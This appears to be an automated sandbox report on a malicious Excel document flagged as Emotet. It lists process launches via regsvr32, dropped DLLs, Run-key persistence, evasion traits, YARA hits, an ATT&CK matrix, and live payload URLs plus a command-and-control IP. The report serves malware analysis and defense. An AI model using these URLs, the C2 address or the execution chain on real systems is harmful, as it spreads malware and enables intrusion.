Source: Joe Sandbox View	Dropped File: C:\Users\user\oxnv4.ooccxx FB9AB8EFA3269F359F9010AECC543E992705E900CC11B02DBDFB1C6572A5500A
Source: Joe Sandbox View	Dropped File: C:\Windows\System32\XXKTOC\CASBb.dll (copy) FB9AB8EFA3269F359F9010AECC543E992705E900CC11B02DBDFB1C6572A5500A

Source: 4470_02112022.xls	ReversingLabs: Detection: 80%
Source: 4470_02112022.xls	Virustotal: Detection: 67%
Source: 4470_02112022.xls	Metadefender: Detection: 31%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe ..\oxnv1.ooccxx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe ..\oxnv2.ooccxx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe ..\oxnv3.ooccxx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe ..\oxnv4.ooccxx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\XXKTOC\CASBb.dll"
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe" "C:\Windows\system32\XXKTOC\CASBb.dll
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe ..\oxnv1.ooccxx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe ..\oxnv2.ooccxx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe ..\oxnv3.ooccxx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe ..\oxnv4.ooccxx	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\XXKTOC\CASBb.dll"	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\FJW3SUUT.txt

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR6315.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@12/10@4/50

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: 4470_02112022.xls	OLE indicator, Workbook stream: true
Source: 4470_02112022.xls.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\regsvr32.exe

Code function: 9_2_0000000180009D2C CloseHandle,Process32NextW,CreateToolhelp32Snapshot,Process32FirstW,

9_2_0000000180009D2C

Source: C:\Windows\System32\regsvr32.exe

Code function: 8_2_1001B1B0 FindResourceA,LoadResource,LockResource,FreeResource,

8_2_1001B1B0

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: 4470_02112022.xls

Initial sample: OLE indicators vbamacros = False

Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180006870 push ebp; iretd	8_2_00000001800068C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180009097 push ebp; iretd	8_2_0000000180009098
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800230F3 push ebp; iretd	8_2_00000001800230F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180006957 push ebp; iretd	8_2_0000000180006958
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180006212 push ebp; iretd	8_2_0000000180006213
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180008A56 push ebp; iretd	8_2_0000000180008A57
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180005A82 push ebp; iretd	8_2_0000000180005A83
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180006415 push ebp; retf	8_2_0000000180006416
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800224FA push ebp; ret	8_2_00000001800224FB
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180008D61 push ebp; iretd	8_2_0000000180008D62
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000658C push ebp; iretd	8_2_000000018000658D
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180008E30 push ebp; iretd	8_2_0000000180008E31
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180006633 push ebp; retf	8_2_0000000180006634
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180006738 push 45C7D274h; iretd	8_2_000000018000673E
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180008F44 push ebp; iretd	8_2_0000000180008F45

Source: C:\Windows\System32\regsvr32.exe

Code function: 8_2_10014064 GetModuleHandleA,LoadLibraryA,GetProcAddress,

8_2_10014064

Source: oxnv4.ooccxx.0.dr	Static PE information: real checksum: 0xc56a8 should be: 0xc2343
Source: 40hd04O0[1].dll.0.dr	Static PE information: real checksum: 0xc56a8 should be: 0xc2343

Source: C:\Windows\System32\regsvr32.exe

Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\XXKTOC\CASBb.dll"

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\oxnv4.ooccxx

Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\XXKTOC\CASBb.dll (copy)	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\oxnv4.ooccxx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\40hd04O0[1].dll	Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe

File created: C:\Windows\System32\XXKTOC\CASBb.dll (copy)

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\oxnv4.ooccxx

Jump to dropped file

Boot Survival

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\Windows\System32\regsvr32.exe

Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run CASBb.dll

Jump to behavior

Drops PE files to the user root directory

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\oxnv4.ooccxx

Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run CASBb.dll			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run CASBb.dll			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\System32\regsvr32.exe

File opened: C:\Windows\system32\XXKTOC\CASBb.dll:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10020690 IsWindowVisible,IsIconic,		8_2_10020690
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10010AE4 IsIconic,GetWindowPlacement,GetWindowRect,		8_2_10010AE4

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe TID: 1228	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1212	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1700	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1700	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\40hd04O0[1].dll

Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe

API coverage: 2.8 %

Source: C:\Windows\System32\regsvr32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800132FC FindNextFileW,FindFirstFileW,FindClose,		9_2_00000001800132FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800132FC FindNextFileW,FindFirstFileW,FindClose,		10_2_00000001800132FC

Source: C:\Windows\System32\regsvr32.exe

API call chain: ExitProcess graph end node

graph_8-38260

Source: C:\Windows\System32\regsvr32.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: regsvr32.exe, 00000008.00000002.941889396.00000000000FA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Windows\System32\regsvr32.exe

Code function: 8_2_100342D0 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

8_2_100342D0

Source: C:\Windows\System32\regsvr32.exe

Code function: 8_2_10014064 GetModuleHandleA,LoadLibraryA,GetProcAddress,

8_2_10014064

Source: C:\Windows\System32\regsvr32.exe

Code function: 8_2_10031FC0 GetProcessHeap,HeapAlloc,GetVersionExA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetCommandLineA,FlsSetValue,GetCurrentThreadId,

8_2_10031FC0

Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_100342D0 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_100342D0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10034370 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_10034370
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10034490 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_10034490
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10040590 RtlCaptureContext,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_10040590
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10039C90 SetUnhandledExceptionFilter,	8_2_10039C90
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10039CC0 SetUnhandledExceptionFilter,	8_2_10039CC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1002FF40 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_1002FF40

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 218.38.121.17 443

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\XXKTOC\CASBb.dll"

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: GetLocaleInfoA,	8_2_1004D2B0
Source: C:\Windows\System32\regsvr32.exe	Code function: GetLocaleInfoA,	8_2_10047310
Source: C:\Windows\System32\regsvr32.exe	Code function: GetModuleHandleA,GetProcAddress,ConvertDefaultLocale,ConvertDefaultLocale,GetProcAddress,ConvertDefaultLocale,ConvertDefaultLocale,GetVersion,RegOpenKeyExA,RegQueryValueExA,ConvertDefaultLocale,ConvertDefaultLocale,RegCloseKey,GetModuleHandleA,EnumResourceLanguagesA,ConvertDefaultLocale,ConvertDefaultLocale,GetModuleFileNameA,GetLocaleInfoA,LoadLibraryA,	8_2_1001C3CC
Source: C:\Windows\System32\regsvr32.exe	Code function: GetLocaleInfoA,	8_2_10047440
Source: C:\Windows\System32\regsvr32.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,	8_2_10047560
Source: C:\Windows\System32\regsvr32.exe	Code function: GetLocaleInfoA,	8_2_100478B0
Source: C:\Windows\System32\regsvr32.exe	Code function: GetLocaleInfoW,GetLastError,GetLocaleInfoW,GetLocaleInfoA,GetLocaleInfoA,MultiByteToWideChar,	8_2_100499D0
Source: C:\Windows\System32\regsvr32.exe	Code function: EnumSystemLocalesA,	8_2_10047A20
Source: C:\Windows\System32\regsvr32.exe	Code function: EnumSystemLocalesA,	8_2_10047AF0
Source: C:\Windows\System32\regsvr32.exe	Code function: GetThreadLocale,GetLocaleInfoA,GetACP,	8_2_10053B44
Source: C:\Windows\System32\regsvr32.exe	Code function: GetUserDefaultLCID,EnumSystemLocalesA,GetUserDefaultLCID,GetLocaleInfoA,GetLocaleInfoA,IsValidCodePage,IsValidLocale,GetLocaleInfoA,GetLocaleInfoA,	8_2_10047B80
Source: C:\Windows\System32\regsvr32.exe	Code function: GetLocaleInfoW,GetLastError,GetLocaleInfoA,GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,	8_2_10049D10

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Code function: 8_2_1003F040 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

8_2_1003F040

Source: C:\Windows\System32\regsvr32.exe

Code function: 8_2_10031FC0 GetProcessHeap,HeapAlloc,GetVersionExA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetCommandLineA,FlsSetValue,GetCurrentThreadId,

8_2_10031FC0

Stealing of Sensitive Information

Yara detected Emotet

Source: Yara match	File source: 0000000A.00000002.1211606431.000000000017A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1211620382.000000000021A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 8.2.regsvr32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.2c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.2b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.2b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.1211814809.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1213054445.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.942096747.00000000001C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1212856230.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1211836015.00000000002B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Scripting	11 Registry Run Keys / Startup Folder	111 Process Injection	141 Masquerading	1 Input Capture	1 System Time Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	21 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Native API	Boot or Logon Initialization Scripts	11 Registry Run Keys / Startup Folder	1 Virtualization/Sandbox Evasion	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	14 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	43 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	2 Scripting	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	124 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Hidden Files and Directories	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Obfuscated Files or Information	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Regsvr32	DCSync	26 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
4470_02112022.xls	81%	ReversingLabs	Document-Office.Trojan.Emotet
4470_02112022.xls	68%	Virustotal		Browse
4470_02112022.xls	32%	Metadefender		Browse
4470_02112022.xls	100%	Avira	XF/Agent.B2

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\40hd04O0[1].dll	81%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\40hd04O0[1].dll	20%	Metadefender		Browse
C:\Users\user\oxnv4.ooccxx	81%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\oxnv4.ooccxx	20%	Metadefender		Browse
C:\Windows\System32\XXKTOC\CASBb.dll (copy)	81%	ReversingLabs	Win64.Trojan.Emotet
C:\Windows\System32\XXKTOC\CASBb.dll (copy)	20%	Metadefender		Browse

Unpacked PE Files

Source	Detection	Scanner	Label	Download
10.2.regsvr32.exe.2b0000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
9.2.regsvr32.exe.2c0000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File
8.2.regsvr32.exe.1c0000.0.unpack	100%	Avira	HEUR/AGEN.1215461	Download File

Domains

Source	Detection	Scanner	Link
www.3d-stickers.com	12%	Virustotal	Browse
www.spinbalence.com	12%	Virustotal	Browse
navylin.com	13%	Virustotal	Browse
sat7ate.com	14%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://218.38.121.17/	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://navylin.com/bsavxiv/axHQYKl/	22%	Virustotal		Browse
https://www.3d-stickers.com/page-non-trouvee	12%	Virustotal		Browse
https://www.spinbalence.com/index.php?controller=404	10%	Virustotal		Browse
https://www.3d-stickers.com/Content/Afa1PcRuxh/	0%	Avira URL Cloud	safe
https://www.spinbalence.com/Adapter/moycMR/	100%	Avira URL Cloud	malware
https://www.spinbalence.com/index.php?controller=404	100%	Avira URL Cloud	malware
http://navylin.com/bsavxiv/axHQYKl/	100%	Avira URL Cloud	malware
https://www.3d-stickers.com/page-non-trouvee	100%	Avira URL Cloud	malware
http://www.spinbalence.com/Adapter/moycMR/	100%	Avira URL Cloud	malware
http://www.3d-stickers.com/Content/Afa1PcRuxh/	100%	Avira URL Cloud	malware
https://secure.comodo.coh	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.3d-stickers.com	163.172.108.69	true	false	12%, Virustotal, Browse	unknown
www.spinbalence.com	163.172.115.127	true	false	12%, Virustotal, Browse	unknown
navylin.com	47.92.133.65	true	false	13%, Virustotal, Browse	unknown
sat7ate.com	unknown	unknown	true	14%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.3d-stickers.com/Content/Afa1PcRuxh/	true	Avira URL Cloud: safe	unknown
https://www.spinbalence.com/Adapter/moycMR/	false	Avira URL Cloud: malware	unknown
https://www.spinbalence.com/index.php?controller=404	false	10%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://218.38.121.17/	true	URL Reputation: safe	unknown
http://navylin.com/bsavxiv/axHQYKl/	false	22%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.3d-stickers.com/page-non-trouvee	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.spinbalence.com/Adapter/moycMR/	false	Avira URL Cloud: malware	unknown
http://www.3d-stickers.com/Content/Afa1PcRuxh/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/server1.crl0	regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.coh	regsvr32.exe, 00000009.00000002.1211805437.00000000002B9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155093375.00000000002B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	regsvr32.exe, 00000009.00000002.1211805437.00000000002B9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155093375.00000000002B9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	false		high
